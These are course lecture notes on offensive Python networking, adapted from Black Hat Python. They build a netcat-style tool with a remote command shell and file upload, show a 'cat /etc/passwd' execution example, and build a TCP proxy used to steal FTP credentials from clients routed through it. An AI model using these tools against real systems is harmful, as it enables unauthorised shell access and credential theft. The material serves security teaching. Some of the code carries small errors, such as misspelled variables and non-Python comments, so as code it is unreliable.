SWE 4503

Basic networking Tools

Why python?

The network is and always will be the hottest arena for a hacker. An attacker can do almost anything with simple network access, such as scan for hosts, inject packets, sniff data, and remotely exploit hosts. But if you've worked your way into the deepest depths of **an enterprise target,** you may find yourself in a bit of a conundrum: you **have no tools to execute network attacks. No netcat. No Wireshark. No compiler, and no means to install one. However,** you might be surprised to find that in many cases, **you'll have a Python install.** So that's where we'll begin.

Python Networking

Programmers have a number of third-party tools to create networked servers and clients in Python, but the core module for all of those tools is socket. This module exposes all of the necessary pieces to quickly write Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) clients and servers, use raw sockets, and so forth. For the purposes of breaking in or maintaining access to target machines, this module is all you really need. Let's start by creating some simple clients and servers—the two most common quick network scripts you'll write.

Simplest TCP Client

- The AF_INET parameter indicates we'll use a standard IPv4 address or hostname, and SOCK_STREAM indicates that this will be a TCP client. We then connect the client to the server.
- And send it some data as bytes.
- The last step is to receive some data back and print out the response.
- And then close the socket.

```
import socket

target_host = "www.google.com" //This is the domain name of the server you're connecting to (Google in this case).
target_port = 80 //HTTP communication

# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect the client
client.connect((target_host,target_port))

# send some data
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
                //b means that string is sent as bytes
# receive some data
response = client.recv(4096) //receives 4096 bytes of response

print(response.decode()) //decodes byte into string
client.close()
```

Some Assumptions Made

- The first assumption is that our connection will always succeed.
- The second is that the server expects us to send data first (some servers expect to send data to you first and await your response).
- Our third assumption is that the server will always return data to us in a timely fashion.

We make these assumptions largely for simplicity's sake. While programmers have varied opinions about how to deal with blocking sockets, exception-handling in sockets, and the like, it’s quite rare for pentesters to build these niceties into their quick-and-dirty tools.

Simplest UDP Client

- We change the socket type to SOCK_DGRAM.
- The next step is to simply call sendto().
- Because UDP is a con nectionless protocol, there is no call to connect() beforehand.
- The last step is to call recvfrom(), to receive UDP data back.
- You will also notice that it returns both the data and the details of the remote host and port.

```
import socket

target_host = "127.0.0.1"
target_port = 9997

# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# send some data
client.sendto(b"AAABBBCCC",(target_host,target_port))

# receive some data
data, addr = client.recvfrom(4096)

print(data.decode())
client.close()
```

//sendto() sends the data without establishing a connection.

returns both the data and the address from which the data was received.

TCP Server

- We pass the ip address and port using which server will listen.
- Give a maximum threshold of number of clients for listening.
- Start a loop which will iterate and try to accept clients.
- If accepted, it will run functions which will process the client request and response accordingly.

```
import socket
import threading

IP = '0.0.0.0'
PORT = 9998

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((IP, PORT)) ❶
    server.listen(5) ❷ //5 simultaneous connections
    print(f'[*] Listening on {IP}:{PORT}')

    while True:
        client, address = server.accept() ❸
        print(f'[*] Accepted connection from {address[0]}:{address[1]}')
        client_handler = threading.Thread(target=handle_client, args=(client,))
        client_handler.start() ❹ //Start a new thread to handle the client

 def handle_client(client_socket): ❺
    with client_socket as sock: //Automatically close the socket after communication
        request = sock.recv(1024)
        print(f'[*] Received: {request.decode("utf-8")}')
        sock.send(b'ACK')

if __name__ == '__main__':
    main()
```

Introducing Netcat

With netcat you can read and write data across the network, meaning **you can use it to execute remote commands, pass files back and forth, or even open a remote shell. On more than one occasion, we've run into servers that don't have netcat installed but do have Python.** In these cases, it's **useful to create a simple network client and server that you can use to push files, or a listener that gives you command line access.** So let's get started writing netcat.py

Replacing Netcat

```
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

def execute(cmd):
    cmd = cmd.strip()   //Remove any leading or trailing whitespace from the command string
    if not cmd:
        return   //If the command is empty, do nothing

    output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
    return output.decode()
```

```
if __name__ == '__main__': //this portion shows how to create a custom command-line interface (CLI) for a Netcat
    parser = argparse.ArgumentParser(
        description='BHP Net Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent('''Example:
            netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
            netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
            netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
            echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
            netcat.py -t 192.168.1.108 -p 5555 # connect to server
        '''))
    parser.add_argument('-c', '--command', action='store_true', help='command shell')
    parser.add_argument('-e', '--execute', help='execute specified command')
    parser.add_argument('-l', '--listen', action='store_true', help='listen')
    parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
    parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
    parser.add_argument('-u', '--upload', help='upload file')
    args = parser.parse_args()
    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()
    nc = NetCat(args, buffer.encode())
    nc.run()
```

the buffer is initialized as an empty string (buffer = ''), meaning the tool is preparing to listen for incoming data.

//If args.listen is False, the tool reads input from the user via sys.stdin.read() and encodes it into bytes, which is stored in buffer. This could be data that the user wants to send to a server.

```
class NetCat:

    def __init__(self, args, buffer=None):
        self.args = args
        self.buffer = buffer
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    def run(self):
        if self.args.listen:
            self.listen()
        else:
            self.send()
```

if self.args.listen:: This checks if the --listen flag was set in the command-line arguments.

If true, the tool will act as a server and call the listen() method, which will handle incoming connections.

If false, the tool will act as a client and call the send() method, which will connect to a remote server and send the buffer data.

```python
def send(self):  //client
    self.socket.connect((self.args.target, self.args.port))
    if self.buffer:
        self.socket.send(self.buffer)
    try:
        while True:
            recv_len = 1
            response = ''
            while recv_len:
                data = self.socket.recv(4096)
                recv_len = len(data)
                response += data.decode()
                if recv_len < 4096:
                    break
            if response:
                print(response)
                buffer = input('> ')
                buffer += '\n'
                self.socket.send(buffer.encode())
    except KeyboardInterrupt:
        print('User terminated.')
        self.socket.close()
        sys.exit()
```

```
def listen(self):   //server
    self.socket.bind((self.args.target, self.args.port))
    self.socket.listen(5)
    while True:
        client_socket, _ = self.socket.accept()
        client_thread = threading.Thread(
            target=self.handle, args=(client_socket,)
        )
        client_thread.start()
```

```
def handle(self, client_socket):
    if self.args.execute:
        output = execute(self.args.execute)
        client_socket.send(output.encode())
    elif self.args.upload:
        file_buffer = b''
        while True:
            data = client_socket.recv(4096)
            if data:
                file_buffer += data
            else:
                break
        with open(self.args.upload, 'wb') as f:
            f.write(file_buffer)
        message = f'Saved file {self.args.upload}'
        client_socket.send(message.encode())
    elif self.args.command:
        cmd_buffer = b''
        while True:
            try:
                client_socket.send(b'BHP: #> ')
                while '\n' not in cmd_buffer.decode():
                    cmd_buffer += client_socket.recv(64)
                response = execute(cmd_buffer.decode())
                if response:
                    client_socket.send(response.encode())
                cmd_buffer = b''
            except Exception as e:
                print(f'server killed {e}')
                self.socket.close()
                sys.exit()
```

Why do we need TCP Proxy?

There are several reasons to have a TCP proxy in your tool belt. You might use one for forwarding traffic to bounce from host to host, or when assessing network-based software. When performing penetration tests in enterprise environments, you probably won't be able to run Wireshark; nor will you be able to load drivers to sniff the loopback on Windows, and network segmentation will prevent you from running your tools directly against your target host. We've built simple Python proxies, like this one, in various cases to help you understand unknown protocols, modify traffic being sent to an application, and create test cases for fuzzers.

Summarize the four functions of TCP Proxy

1. We need to display the communication between the local and remote machines to the console (hexdump).
2. We need to receive data from an incoming socket from either the local or remote machine (receive _from).
3. Sometimes you may want to modify the response or request packets before the proxy sends them on their way. (request_handler and reponse_handler)
4. We need to manage the traffic direction between remote and local machines (proxy_handler).
5. Finally, we need to set up a listening socket and pass it to our proxy_handler (server_loop).

Building TCP proxy

- HEXFILTER checks if it is a printable character or not.
- Function hexdump converts a string to an array of results.
- Each line of results represent three things.
- First the hex value of the index of the first byte in the word, then the hex value of the word, and at last it's printable representation.

```
HEX_FILTER = ''.join([(len(repr(chr(i)))==3) and chr(i) or '.' for i in range(256)])

def hexdump(src, length=16, show=True):
    if isinstance(src, bytes):
        src = src.decode()
    results = list()
    for i in range(0,len(src),length):
        word = str(src[i:i+length])

        printable = word.translate(HEX_FILTER)
        hexa = ' '.join([f'{ord(c):02X}' for c in word])
        hexwidth = length*3
        results.append(f'{i:04x}  {hexa:<{hexwidth}}  {printable}')

    if show:
        for line in results:
            print(line)
    else:
        return results
```

```
>> hexdump('python rocks\n and proxies roll\n')
0000  70 79 74 68 6F 6E 20 72 6F 63 6B 73 0A 20 61 6E   python rocks. an
0010  64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C 0A      d proxies roll.
```

Continued

- We create an empty byte string, buffer, that will accumulate responses from the socket.
- By default, we set a five-second time-out, which might be aggressive if you're proxying traffic to other countries or over lossy networks, so increase the time-out as necessary.
- We set up a loop to read response data into the buffer until there's no more data or we time out. Finally, we return the buffer byte string to the caller, which could be either the local or remote machine.

```
def receive_from(connection):
    buffer = b""
    connection.settimeout(5)
    try:
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except Exception as e:
        pass
    return buffer
```

Continued

Inside these functions, you can modify the packet contents, perform fuzzing tasks, test for authentication issues, or do whatever else your heart desires. This can be useful, for example, if you find plaintext user credentials being sent and want to try to elevate privileges on an application by passing in admin instead of your own username.

```
def request_handler(buffer):
    # perform packet modifications
    return buffer

def response_handler(buffer):
    # perfrom packet modifications
    return buffer
```

```python
def proxy_handler(client_socket, remote_host, remote_port, recieve_first):
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

    remote_buffer = response_handler(remote_buffer)
    if len(remote_buffer):
        print("[<==] Sending %d bytes to localhost." % len(remote_buffer))
        client_socket.send(remote_buffer)
    while True:
        local_buffer = receive_from(client_socket)
        if len(local_buffer):
            line = "[==>]Received %d bytes from localhost." % len(local_buffer)
            print(line)
            hexdump(local_buffer)

            local_buffer = request_handler(local_buffer)
            remote_socket.send(local_buffer)
            print("[==>] Sent to remote.")

        remote_buffer = receive_from(remote_socket)
        if len(remote_buffer):
            print("[<==] Received %d bytes from remote." % len(remote_buffer))
            hexdump(remote_buffer)
            remote_buffer = response_handler(remote_buffer)
            client_socket.send(remote_buffer)
            print("[<==] Sent to localhost.")
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")
            break
```

Proxy_handler function

```
def server_loop(local_host, local_port,
                remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ❶
    try:
        server.bind((local_host, local_port)) ❷
    except Exception as e:
        print('problem on bind: %r' % e)

        print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
        print("[!!] Check for other listening sockets or correct permissions.")
        sys.exit(0)

    print("[*] Listening on %s:%d" % (local_host, local_port))
    server.listen(5)
    while True: ❸
        client_socket, addr = server.accept()
        # print out the local connection information
        line = "> Received incoming connection from %s:%d" % (addr[0], addr[1])
        print(line)
        # start a thread to talk to the remote host
        proxy_thread = threading.Thread( ❹
            target=proxy_handler,
            args=(client_socket, remote_host,
            remote_port, receive_first))
        proxy_thread.start()
```

```python
def main():
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport]", end='')
        print("[remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])
    receive_first = sys.argv[5]
    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False
    server_loop(local_host, local_port,
        remote_host, remote_port, receive_first)

if __name__ == '__main__':
    main()
```

How to get FTP password using TCP proxy

One Terminal has the following command running :

```
tim@kali: sudo python proxy.py    192.168.1.203 21 ftp.sun.ac.za 21 True
```

Another Terminal has the following command running:

```
tim@kali:$ ftp 192.168.1.203
```

First command will create a server which will listen to local machine's ip address at port 21. This is a proxy server for the actual FTP server. And whenever client is trying to connect to local machine (proxy server) using the second command, proxy server will pass the request to actual ftp server and respond to the clients. The catch is to steal clients' credentials, the intruder must force client to go through the proxy server since inside the actual ftp server we don't have proxy.py